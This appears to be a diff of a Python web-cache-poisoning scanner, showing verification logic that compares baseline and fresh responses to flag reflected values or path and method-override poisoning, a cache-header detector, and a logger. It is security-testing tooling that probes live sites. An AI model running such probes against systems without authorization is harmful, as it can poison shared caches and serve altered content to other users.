+
fresh_cb = f"cb={int(time.time())}_{random.randint(1000,9999)}"
|
|
412
|
+
fresh_url = f"{self.baseline.url}?{fresh_cb}" if '?' not in self.baseline.url else f"{self.baseline.url}&{fresh_cb}"
|
|
413
|
+
|
|
414
|
+
fresh_resp = await client.request("GET", fresh_url, headers=self.headers)
|
|
415
|
+
if fresh_resp:
|
|
416
|
+
fresh_hash = hashlib.sha256(fresh_resp['body']).hexdigest()
|
|
417
|
+
if fresh_hash == verify_hash:
|
|
418
|
+
logger.debug(f"Ignored {signature['name']} - Target appears to have drifted (fresh baseline matches verification)")
|
|
419
|
+
return None
|
|
420
|
+
|
|
421
|
+
if fresh_resp['status'] == verify_resp['status']:
|
|
422
|
+
len_fresh = len(fresh_resp['body'])
|
|
423
|
+
len_verify = len(verify_resp['body'])
|
|
424
|
+
if len_fresh == len_verify:
|
|
425
|
+
logger.debug(f"Ignored {signature['name']} - Content length identical to fresh baseline ({len_verify} bytes). Likely benign dynamic content.")
|
|
426
|
+
return None
|
|
427
|
+
|
|
428
|
+
# Optional: Tolerance check (e.g., < 20 bytes diff)
|
|
429
|
+
if abs(len_fresh - len_verify) < 20:
|
|
430
|
+
logger.debug(f"Ignored {signature['name']} - Content length similar to fresh baseline (diff {abs(len_fresh - len_verify)}). Likely benign.")
|
|
431
|
+
return None
|
|
432
|
+
|
|
433
|
+
if fresh_hash != self.baseline.body_hash:
|
|
434
|
+
logger.debug(f"Ignored {signature['name']} - Target appears chaotic (fresh baseline != original baseline)")
|
|
435
|
+
return None
|
|
436
|
+
|
|
437
|
+
vuln_type = "PathNormalizationPoisoning" if signature.get("type") == "path" else "MethodOverridePoisoning"
|
|
438
|
+
msg = f"POTENTIAL VULNERABILITY: {vuln_type}. Clean URL {verify_url} served content from {target_url} (reproducing malicious behavior)"
|
|
439
|
+
logger.critical(msg)
|
|
440
|
+
return {
|
|
441
|
+
"url": self.baseline.url,
|
|
442
|
+
"target_url": target_url,
|
|
443
|
+
"verify_url": verify_url,
|
|
444
|
+
"vulnerability": vuln_type,
|
|
445
|
+
"details": msg,
|
|
446
|
+
"signature": signature,
|
|
447
|
+
"severity": "HIGH"
|
|
448
|
+
}
|
|
449
|
+
return None
|
|
450
|
+
|
|
451
|
+
if signature['value'] in str(verify_resp['headers']) or signature['value'] in str(verify_resp['body']):
|
|
452
|
+
# Ignore short values (DoS/False Positive prevention)
|
|
453
|
+
if len(signature['value']) < 5:
|
|
454
|
+
logger.debug(f"Ignored {signature['name']} - Value '{signature['value']}' too short for reliable reflection check")
|
|
455
|
+
return None
|
|
456
|
+
|
|
457
|
+
# False Positive Check: Was this value already in the baseline (body OR headers)?
|
|
458
|
+
in_baseline = signature['value'] in str(self.baseline.body) or signature['value'] in str(self.baseline.headers)
|
|
459
|
+
if in_baseline:
|
|
460
|
+
logger.debug(f"Ignored {signature['name']} - Value '{signature['value']}' found in baseline response")
|
|
461
|
+
return None
|
|
462
|
+
|
|
463
|
+
msg = f"POTENTIAL VULNERABILITY: {signature['name']} reflected in response for {target_url}"
|
|
464
|
+
logger.critical(msg)
|
|
465
|
+
severity = "MEDIUM"
|
|
466
|
+
if "<script" in str(verify_resp['body']):
|
|
467
|
+
severity = "CRITICAL"
|
|
468
|
+
elif signature.get("type") in ["fat_get", "query_param"]:
|
|
469
|
+
severity = "HIGH"
|
|
470
|
+
|
|
471
|
+
return {
|
|
472
|
+
"url": self.baseline.url,
|
|
473
|
+
"target_url": target_url,
|
|
474
|
+
"vulnerability": "CachePoisoning",
|
|
475
|
+
"details": msg,
|
|
476
|
+
"signature": signature,
|
|
477
|
+
"severity": severity
|
|
478
|
+
}
|
|
479
|
+
else:
|
|
480
|
+
logger.debug(f"Failed {signature['name']}")
|
|
481
|
+
return None
|
cpd/logic/validator.py
ADDED
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
from typing import Dict, Optional, Tuple
|
|
2
|
+
from cpd.http_client import HttpClient
|
|
3
|
+
from cpd.utils.logger import logger
|
|
4
|
+
|
|
5
|
+
class CacheValidator:
|
|
6
|
+
def __init__(self):
|
|
7
|
+
self.cache_headers = [
|
|
8
|
+
"X-Cache",
|
|
9
|
+
"CF-Cache-Status", # Cloudflare
|
|
10
|
+
"X-Varnish", # Varnish
|
|
11
|
+
"Age", # Standard
|
|
12
|
+
"Via", # Proxies
|
|
13
|
+
"X-Drupal-Cache", # Drupal
|
|
14
|
+
"X-Proxy-Cache", # Nginx
|
|
15
|
+
"Akamai-Cache-Status", # Akamai
|
|
16
|
+
"Cache-Status", # Standard / Apache
|
|
17
|
+
"X-Cache-Status", # Generic / Nginx
|
|
18
|
+
"X-Cache-Hits", # Fastly
|
|
19
|
+
"Server-Timing", # W3C / CDNs
|
|
20
|
+
"X-Cache-Detail" # Apache
|
|
21
|
+
]
|
|
22
|
+
|
|
23
|
+
async def analyze(self, client: HttpClient, url: str) -> Tuple[bool, Optional[str]]:
|
|
24
|
+
"""
|
|
25
|
+
Analyze if the target URL is using a cache.
|
|
26
|
+
Returns: (is_cached, reason)
|
|
27
|
+
"""
|
|
28
|
+
logger.info(f"Checking for cache indicators on {url}")
|
|
29
|
+
|
|
30
|
+
# 1. Passive Header Check
|
|
31
|
+
resp = await client.request("GET", url)
|
|
32
|
+
if not resp:
|
|
33
|
+
return False, "Failed to fetch URL"
|
|
34
|
+
|
|
35
|
+
for header_name in self.cache_headers:
|
|
36
|
+
for key in resp['headers']:
|
|
37
|
+
if key.lower() == header_name.lower():
|
|
38
|
+
val = resp['headers'][key]
|
|
39
|
+
logger.info(f"Cache indicator found: {key}: {val}")
|
|
40
|
+
|
|
41
|
+
# Special handling for Server-Timing which is common but not always cache-related
|
|
42
|
+
if key.lower() == 'server-timing':
|
|
43
|
+
# Check for cache-related keywords in Server-Timing value
|
|
44
|
+
val_lower = val.lower()
|
|
45
|
+
if any(k in val_lower for k in ['cache', 'miss', 'hit', 'cdn-cache']):
|
|
46
|
+
return True, f"Found cache indicator in Server-Timing: {val}"
|
|
47
|
+
else:
|
|
48
|
+
# If it's Server-Timing but doesn't mention cache, keep looking
|
|
49
|
+
continue
|
|
50
|
+
|
|
51
|
+
return True, f"Found cache header: {key}"
|
|
52
|
+
|
|
53
|
+
# 2. Heuristic/Behavioral Check (Optional)
|
|
54
|
+
# Check standard Cache-Control
|
|
55
|
+
cc = resp['headers'].get('Cache-Control', '').lower()
|
|
56
|
+
if 'public' in cc or 's-maxage' in cc:
|
|
57
|
+
return True, f"Cache-Control implies public caching: {cc}"
|
|
58
|
+
|
|
59
|
+
logger.warning(f"No obvious cache indicators found for {url}")
|
|
60
|
+
return False, "No cache headers detected"
|
cpd/main.py
ADDED
cpd/utils/__init__.py
ADDED
|
File without changes
|
cpd/utils/logger.py
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
import logging
|
|
2
|
+
import sys
|
|
3
|
+
from typing import Optional
|
|
4
|
+
|
|
5
|
+
class ColoredFormatter(logging.Formatter):
|
|
6
|
+
"""
|
|
7
|
+
Custom formatter to add colors to log levels.
|
|
8
|
+
"""
|
|
9
|
+
grey = "\x1b[38;20m"
|
|
10
|
+
cyan = "\x1b[36;20m"
|
|
11
|
+
green = "\x1b[32;20m"
|
|
12
|
+
yellow = "\x1b[33;20m"
|
|
13
|
+
red = "\x1b[31;20m"
|
|
14
|
+
bold_red = "\x1b[31;1m"
|
|
15
|
+
reset = "\x1b[0m"
|
|
16
|
+
reset = "\x1b[0m"
|
|
17
|
+
# Format: Time - Logger - [COLOR]LEVEL[RESET] - Message
|
|
18
|
+
# We construct the levelname part dynamically
|
|
19
|
+
|
|
20
|
+
FORMATS = {
|
|
21
|
+
logging.DEBUG: cyan,
|
|
22
|
+
logging.INFO: green,
|
|
23
|
+
logging.WARNING: yellow,
|
|
24
|
+
logging.ERROR: red,
|
|
25
|
+
logging.CRITICAL: bold_red
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
def format(self, record):
|
|
29
|
+
color = self.FORMATS.get(record.levelno, self.reset)
|
|
30
|
+
# Apply color only to the levelname
|
|
31
|
+
# We temporarily modify the levelname in the record (copying would be safer but this is standard)
|
|
32
|
+
original_levelname = record.levelname
|
|
33
|
+
record.levelname = f"{color}{original_levelname}{self.reset}"
|
|
34
|
+
|
|
35
|
+
# Format: CPD-SEC - [LEVEL] - Message
|
|
36
|
+
formatter = logging.Formatter(f"CPD-SEC - [%(levelname)s] - %(message)s")
|
|
37
|
+
result = formatter.format(record)
|
|
38
|
+
|
|
39
|
+
# Restore original levelname to avoid side effects
|
|
40
|
+
record.levelname = original_levelname
|
|
41
|
+
return result
|
|
42
|
+
|
|
43
|
+
def setup_logger(verbose: bool = False, quiet: bool = False, log_level: Optional[str] = None):
|
|
44
|
+
"""
|
|
45
|
+
Configure the logger based on verbosity flags or explicit log level.
|
|
46
|
+
"""
|
|
47
|
+
logger = logging.getLogger("cpd")
|
|
48
|
+
|
|
49
|
+
# Remove existing handlers to avoid duplicates if setup is called multiple times
|
|
50
|
+
if logger.handlers:
|
|
51
|
+
logger.handlers = []
|
|
52
|
+
|
|
53
|
+
handler = logging.StreamHandler(sys.stdout)
|
|
54
|
+
handler.setFormatter(ColoredFormatter())
|
|
55
|
+
logger.addHandler(handler)
|
|
56
|
+
|
|
57
|
+
if log_level:
|
|
58
|
+
level = getattr(logging, log_level.upper(), None)
|
|
59
|
+
if isinstance(level, int):
|
|
60
|
+
logger.setLevel(level)
|
|
61
|
+
else:
|
|
62
|
+
logger.setLevel(logging.INFO)
|
|
63
|
+
logger.warning(f"Invalid log level '{log_level}', defaulting to INFO")
|
|
64
|
+
elif quiet:
|
|
65
|
+
logger.setLevel(logging.WARNING)
|
|
66
|
+
elif verbose:
|
|
67
|
+
logger.setLevel(logging.DEBUG)
|
|
68
|
+
else:
|
|
69
|
+
logger.setLevel(logging.INFO)
|
|
70
|
+
|
|
71
|
+
return logger
|
|
72
|
+
|
|
73
|
+
logger = logging.getLogger("cpd")
|